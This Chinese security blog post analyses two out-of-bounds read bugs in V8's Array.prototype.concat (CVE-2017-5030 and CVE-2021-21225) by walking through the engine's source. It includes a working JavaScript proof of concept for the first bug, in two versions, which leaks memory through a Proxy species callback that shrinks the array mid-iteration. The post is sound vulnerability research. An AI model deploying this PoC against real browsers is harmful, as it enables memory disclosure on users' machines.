首页
活动
安全导航

CVE-2017-5030与CVE-2021-21225漏洞分析：Array Concat的越界读

阅读量425660

|评论1

|

发布时间 : 2021-05-19 15:30:48

 

CVE-2017-5030

PoC

  // ../../v8/v8/out/x64.debug/d8 --allow-natives-syntax --expose-gc poc.js
  var p = new Proxy([], {});
  var b_dp = Object.prototype.defineProperty;

  class MyArray extends Array {
      static get [Symbol.species]() { return function() { return p; }}; // custom constructor which returns a proxy object
  }

  var w = new MyArray(100);
  w[1] = 0.1;
  w[2] = 0.1;

  function evil_callback() {
      w.length = 1; // shorten the array so the backstore pointer is relocated
      gc();         // force gc to move the array's elements backstore
      return b_dp;
  }

  Object.prototype.__defineGetter__("defineProperty", evil_callback);

  var c = Array.prototype.concat.call(w);

  for (var i = 0; i < 20; i++) { // however many values you want to leak
      print(c[i]);
  }

Root Cause

v8使用一种名为CodeStubAssembler的非常类似于汇编语言，同时保持平台无关性并保持可读性的语言来实现其js builtin函数。

BUILTIN(ArrayConcat) {
    ...
    Handle<Object> species;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));
    if (*species == *isolate->array_function()) {
        if (Fast_ArrayConcat(isolate, &args).ToHandle(&result_array)) {
        return *result_array;
        }
        if (isolate->has_pending_exception()) return isolate->heap()->exception();
    }
    return Slow_ArrayConcat(&args, species, isolate);
}
...

这里ASSIGN_RETURN_ON_EXCEPTION_VALUE宏其实就是(call).ToHandle(&dst),

#define ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, dst, call, value)  \
  do {                                                               \
    if (!(call).ToHandle(&dst)) {                                    \
      DCHECK((isolate)->has_pending_exception());                    \
      return value;                                                  \
    }                                                                \
  } while (false)

#define ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, dst, call)          \
  do {                                                                  \
    Isolate* __isolate__ = (isolate);                                   \
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(__isolate__, dst, call,            \
                                     __isolate__->heap()->exception()); \
  } while (false)

也就是说这里首先调用ArraySpeciesConstructor，它将先从reciver中取出constructor属性，然后取出该属性的Symbol.species属性。

然后将结果通过ToHandle将结果保存到dst里，这里可以将Handle粗略理解成一种智能指针，这层封装完全是为了GC时对对象的标记。

MaybeHandle<Object> Object::ArraySpeciesConstructor(
    Isolate* isolate, Handle<Object> original_array) {
  Handle<Object> default_species = isolate->array_function();
  if (original_array->IsJSArray() &&
      Handle<JSArray>::cast(original_array)->HasArrayPrototype(isolate) &&
      isolate->IsArraySpeciesLookupChainIntact()) {
    return default_species;
  }
  Handle<Object> constructor = isolate->factory()->undefined_value();
  Maybe<bool> is_array = Object::IsArray(original_array);
  MAYBE_RETURN_NULL(is_array);
  if (is_array.FromJust()) {
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate, constructor,
        Object::GetProperty(original_array,
                            isolate->factory()->constructor_string()),
        Object);
    if (constructor->IsConstructor()) {
      Handle<Context> constructor_context;
      ASSIGN_RETURN_ON_EXCEPTION(
          isolate, constructor_context,
          JSReceiver::GetFunctionRealm(Handle<JSReceiver>::cast(constructor)),
          Object);
      if (*constructor_context != *isolate->native_context() &&
          *constructor == constructor_context->array_function()) {
        constructor = isolate->factory()->undefined_value();
      }
    }
    if (constructor->IsJSReceiver()) {
      ASSIGN_RETURN_ON_EXCEPTION(
          isolate, constructor,
          JSReceiver::GetProperty(Handle<JSReceiver>::cast(constructor),
                                  isolate->factory()->species_symbol()),
          Object);
      if (constructor->IsNull(isolate)) {
        constructor = isolate->factory()->undefined_value();
      }
    }
  }
  if (constructor->IsUndefined(isolate)) {
    return default_species;
  } else {
    if (!constructor->IsConstructor()) {
      THROW_NEW_ERROR(isolate,
          NewTypeError(MessageTemplate::kSpeciesNotConstructor),
          Object);
    }
    return constructor;
  }
}

举个例子，对于一般的array对象，它的constructor是Array构造函数

w = new Array();
print(w.constructor);
print(w.constructor[Symbol.species]);

->

➜  ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
function Array() { [native code] }
function Array() { [native code] }

但若是自定义的class就是这样

class MyArray extends Array {
}
var w = new MyArray(100);
print(w.constructor);
print(w.constructor[Symbol.species]);

->

➜  ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
class MyArray extends Array {
}
class MyArray extends Array {
}

注意更有趣的是我们可以在自定义class上定义Symbol.species属性来让w.constructor[Symbol.species]和w.constructor的结果不同，而最后通过ArraySpeciesConstructor取到的将是这个自定义的species属性里保存的函数。

var p = new Proxy([], {});

class MyArray extends Array {
    static get [Symbol.species]() { return function() { return p; }};
}
var w = new MyArray(100);
print(w.constructor);
print(w.constructor[Symbol.species]);

->

➜  ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
class MyArray extends Array {
    static get [Symbol.species]() { return function() { return p; }};
}
function () { return p; }

随后只要species的结果不是Array的构造函数，就会进入slow path。

在SlowPath中，只要species不是Array的构造函数，则is_array_species为false。由于is_array_species为false，因此fast_case也为false。最终进入else分支。

    Object* Slow_ArrayConcat(...) {
      ...
      if (fast_case) {
        ...
      } else if (is_array_species) {
        ...
      } else {
        DCHECK(species->IsConstructor());
        Handle<Object> length(Smi::kZero, isolate);
        Handle<Object> storage_object;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, storage_object,
            Execution::New(isolate, species, species, 1, &length)); //<----- Our species function is executed, giving us control of the storage object (L#1242)
        storage = storage_object;
      }
      ...
    }

在else分支里，首先调用之前得到的speices函数，构造出一个新对象，将其地址保存在storage_object指针中。

在Slow path中，会声明一个ArrayConcatVisitor，并对每个args调用一次IterateElements函数，以遍历每个arg上的具体数组元素。

这其实很好理解，因为concat的用法是w1.concat(w2,w3,...)，其结果是将w1和w2,w3三个数组的元素相连构造出一个新数组返回，所以势必要遍历每个array。

所以这里args就是w1.concat(w2,w3,...)里的这个w1,w2,w3。

  ArrayConcatVisitor visitor(isolate, storage, fast_case);// <----- visitor now holds a reference to our storage object (L#1246)

  for (int i = 0; i < argument_count; i++) {
    Handle<Object> obj((*args)[i], isolate);
    Maybe<bool> spreadable = IsConcatSpreadable(isolate, obj);
    MAYBE_RETURN(spreadable, isolate->heap()->exception());
    if (spreadable.FromJust()) {
      Handle<JSReceiver> object = Handle<JSReceiver>::cast(obj);
      if (!IterateElements(isolate, object, &visitor)) {//  <----- IterateElements is called using our visitor (L#1254)
        return isolate->heap()->exception();
      }
    } else {
      if (!visitor.visit(0, obj)) return isolate->heap()->exception();
      visitor.increase_index_offset(1);
    }
  }

遍历时，进入IterateElements的fast path。

在 fast path中，对array的每个元素调用visit函数，需要注意的是在IterateElements遍历数组元素的时候，它是先缓存了array的长度到fast_length里的。

所以只要能在下面循环内将array的长度改小，则由于fast length使用的是修改之前的原长度，就会越界读写

bool IterateElements(...) {
    ...
    ...

    case FAST_HOLEY_DOUBLE_ELEMENTS:
    case FAST_DOUBLE_ELEMENTS: {
    // Empty array is FixedArray but not FixedDoubleArray.
    if (length == 0) break;
    // Run through the elements FixedArray and use HasElement and GetElement
    // to check the prototype for missing elements.
    if (array->elements()->IsFixedArray()) {
        DCHECK(array->elements()->length() == 0);
        break;
    }
    Handle<FixedDoubleArray> elements(
        FixedDoubleArray::cast(array->elements()));
    int fast_length = static_cast<int>(length);
    DCHECK(fast_length <= elements->length());
    // 注意这里保存了 fast_length
    FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
        if (!elements->is_the_hole(j)) {
        double double_value = elements->get_scalar(j);              <-----
        Handle<Object> element_value =
            isolate->factory()->NewNumber(double_value);
        if (!visitor->visit(j, element_value)) return false;        <----- visitor->visit is called (L#1008)
        } else {
        Maybe<bool> maybe = JSReceiver::HasElement(array, j);
        if (!maybe.IsJust()) return false;
        if (maybe.FromJust()) {
            // Call GetElement on array, not its prototype, or getters won't
            // have the correct receiver.
            Handle<Object> element_value;
            ASSIGN_RETURN_ON_EXCEPTION_VALUE(
                isolate, element_value,
                JSReceiver::GetElement(isolate, array, j), false);
            if (!visitor->visit(j, element_value)) return false;     <----- visitor->visit is called (L#1019)
        }
        }
    });
    break;
    }
}

visit函数内部是这样的，它先通过storage，也就是指向我们之前调用speices构造函数构造出来的对象的指针，来构造出一个LookupIterator对象it。

然后在该函数内部又继续调用CreateDataProperty函数。

MUST_USE_RESULT bool visit(uint32_t i, Handle<Object> elm) {
    uint32_t index = index_offset_ + i;

    ...

    if (!is_fixed_array()) {
        LookupIterator it(isolate_, storage_, index, LookupIterator::OWN);
        MAYBE_RETURN(
            JSReceiver::CreateDataProperty(&it, elm, Object::THROW_ON_ERROR),
            false);
        return true;
    }
    ... 
    }

在该函数中，先通过it->GetReceiver来取出storage，然后有个针对IsJSObject的判断。通过定义Symbol.species属性来构造出一个JSProxy对象，因此绕过该条件判断，进入下面的DefineOwnProperty。

// static
Maybe<bool> JSReceiver::CreateDataProperty(LookupIterator* it,
                                            Handle<Object> value,
                                            ShouldThrow should_throw) {
    DCHECK(!it->check_prototype_chain());
    Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
    Isolate* isolate = receiver->GetIsolate();

    if (receiver->IsJSObject()) {
        return JSObject::CreateDataProperty(it, value, should_throw);  // Shortcut.
    }

    PropertyDescriptor new_desc;
    new_desc.set_value(value);
    new_desc.set_writable(true);
    new_desc.set_enumerable(true);
    new_desc.set_configurable(true);

    return JSReceiver::DefineOwnProperty(isolate, receiver, it->GetName(),
                                        &new_desc, should_throw);
}

这里继续调用JSProxy::DefineOwnProperty.

// static
Maybe<bool> JSReceiver::DefineOwnProperty(Isolate* isolate,
                                            Handle<JSReceiver> object,
                                            Handle<Object> key,
                                            PropertyDescriptor* desc,
                                            ShouldThrow should_throw) {
    if (object->IsJSArray()) {
    return JSArray::DefineOwnProperty(isolate, Handle<JSArray>::cast(object),
                                        key, desc, should_throw);
    }
    if (object->IsJSProxy()) {
    return JSProxy::DefineOwnProperty(isolate, Handle<JSProxy>::cast(object),
                                        key, desc, should_throw);
    }
    // TODO(jkummerow): Support Modules (ES6 9.4.6.6)

    // OrdinaryDefineOwnProperty, by virtue of calling
    // DefineOwnPropertyIgnoreAttributes, can handle arguments (ES6 9.4.4.2)
    // and IntegerIndexedExotics (ES6 9.4.5.3), with one exception:
    // TODO(jkummerow): Setting an indexed accessor on a typed array should throw.
    return OrdinaryDefineOwnProperty(isolate, Handle<JSObject>::cast(object), key,
                                    desc, should_throw);
}

在JSProxy::DefineOwnProperty中，将从proxy对象上先取出它的handler，然后获取它的defineProperty属性，这将触发一个getter回调，从而改掉array的长度，造成越界读。

Maybe<bool> JSProxy::DefineOwnProperty(...) {
    STACK_CHECK(isolate, Nothing<bool>());
    if (key->IsSymbol() && Handle<Symbol>::cast(key)->IsPrivate()) {
    return SetPrivateProperty(isolate, proxy, Handle<Symbol>::cast(key), desc,
                                should_throw);
    }
    Handle<String> trap_name = isolate->factory()->defineProperty_string();     //<----- "defineProperty" string (L#6855)

    ...
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(
        isolate, trap,
        Object::GetMethod(Handle<JSReceiver>::cast(handler), trap_name),// <---- GetMethod calls GetProperty which triggers getters (L#6873)
        Nothing<bool>());
}

// static
MaybeHandle<Object> Object::GetMethod(Handle<JSReceiver> receiver,
                                      Handle<Name> name) {
  Handle<Object> func;
  Isolate* isolate = receiver->GetIsolate();
  ASSIGN_RETURN_ON_EXCEPTION(isolate, func,
                             JSReceiver::GetProperty(receiver, name), Object);
  if (func->IsNull(isolate) || func->IsUndefined(isolate)) {
    return isolate->factory()->undefined_value();
  }
  if (!func->IsCallable()) {
    THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kPropertyNotFunction,
                                          func, name, receiver),
                    Object);
  }
  return func;
}

所以其实最后poc也可以改成这样。

var p1 = {}
var p = new Proxy([], p1);
var b_dp = p.defineProperty;

class MyArray extends Array {
    static get [Symbol.species]() { return function() { return p; }}; // custom constructor which returns a proxy object
}

var w = new MyArray(100);
w[1] = 0.1;
w[2] = 0.1;

function evil_callback() {
    w.length = 1; // shorten the array so the backstore pointer is relocated
    gc();         // force gc to move the array's elements backstore
    return b_dp;
}

p1.__defineGetter__("defineProperty", evil_callback);

var c = w.concat();

for (var i = 0; i < 20; i++) { // however many values you want to leak
    print(c[i]);
}

 

CVE-2021-21225

CVE-2021-21225的PoC尚未公开，我构造出了这个漏洞的poc，并在这里其造成回调的调用栈。

事实上这个漏洞利用了typedarray的valueof trick，从而在CreateDataProperty的shotcut路径里触发了回调，提示到这里，聪明的读者应该可以自己构造出来了。

这个漏洞的引入来自2021年的一个补丁修改了typedArray的一些feature。

// static
Maybe<bool> JSReceiver::CreateDataProperty(LookupIterator* it,
                                            Handle<Object> value,
                                            ShouldThrow should_throw) {
    DCHECK(!it->check_prototype_chain());
    Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
    Isolate* isolate = receiver->GetIsolate();

    if (receiver->IsJSObject()) {
        return JSObject::CreateDataProperty(it, value, should_throw);  // Shortcut.
    }

    PropertyDescriptor new_desc;
    new_desc.set_value(value);
    new_desc.set_writable(true);
    new_desc.set_enumerable(true);
    new_desc.set_configurable(true);

    return JSReceiver::DefineOwnProperty(isolate, receiver, it->GetName(),
                                        &new_desc, should_throw);
}

callback
->
#6  0x00007ffff63ace31 in v8::internal::JSReceiver::GetProperty(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::Name>) () at ../../src/objects/js-objects-inl.h:56
#7  0x00007ffff6dc8ee8 in v8::internal::Object::GetMethod(v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::Name>) () at ../../src/objects/objects.cc:966
#8  0x00007ffff6d2d4dd in v8::internal::JSReceiver::ToPrimitive(v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::ToPrimitiveHint) () at ../../src/objects/js-objects.cc:1855
#9  0x00007ffff6dc3a6b in v8::internal::Object::ConvertToNumberOrNumeric(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::Conversion) () at ../../src/objects/objects.cc:310
warning: Could not find DWO CU obj/v8_base_without_compiler/api.dwo(0x7e262483d2924ef) referenced by CU at offset 0xec [in module /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so]
#10 0x00007ffff641e22c in v8::internal::Object::ToNumber(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>) () at ../../src/objects/objects-inl.h:570
#11 0x00007ffff6dd7000 in v8::internal::Object::SetDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>) () at ../../src/objects/objects.cc:2772
#12 0x00007ffff6d2b2f8 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::Maybe<v8::internal::ShouldThrow>, v8::internal::JSObject::AccessorInfoHandling) () at ../../src/objects/js-objects.cc:3380
#13 0x00007ffff6d2aa58 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::JSObject::AccessorInfoHandling) () at ../../src/objects/js-objects.cc:3309
#14 0x00007ffff6d2348d in v8::internal::JSObject::CreateDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>) () at ../../src/objects/js-objects.cc:3781
#15 0x00007ffff6d2b659 in v8::internal::JSReceiver::CreateDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>) () at ../../src/objects/js-objects.cc:1564
warning: Could not find DWO CU obj/v8_base_without_compiler/builtins-array.dwo(0x9e399020eeed1d00) referenced by CU at offset 0x3f8 [in module /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so]
#16 0x00007ffff652bb7e in v8::internal::(anonymous namespace)::ArrayConcatVisitor::visit(unsigned int, v8::internal::Handle<v8::internal::Object>) () at ../../src/builtins/builtins-array.cc:675
#17 0x00007ffff652ab68 in v8::internal::(anonymous namespace)::IterateElements(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::(anonymous namespace)::ArrayConcatVisitor*) () at ../../src/builtins/builtins-array.cc:1090
#18 0x00007ffff6529446 in v8::internal::(anonymous namespace)::Slow_ArrayConcat(v8::internal::BuiltinArguments*, v8::internal::Handle<v8::internal::Object>, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1387
#19 0x00007ffff6525455 in v8::internal::Builtin_Impl_ArrayConcat(v8::internal::BuiltinArguments, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1505
#20 0x00007ffff6524d2e in v8::internal::Builtin_ArrayConcat(int, unsigned long*, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1472
#21 0x00007ffff5f2e9a0 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit () from /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so
#22 0x00007ffff5cd8779 in Builtins_InterpreterEntryTrampoline () from /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so

本文由sakura原创发布

转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/240031

安全客 - 有思想的安全新媒体

分享到：微信
+14赞
收藏
sakura
分享到：微信

发表评论

sakura

这个人太懒了，签名都懒得写一个

  • 文章
  • 11
  • 粉丝
  • 76

TA的文章

相关文章

热门推荐

文章目录
安全客
商务合作
内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66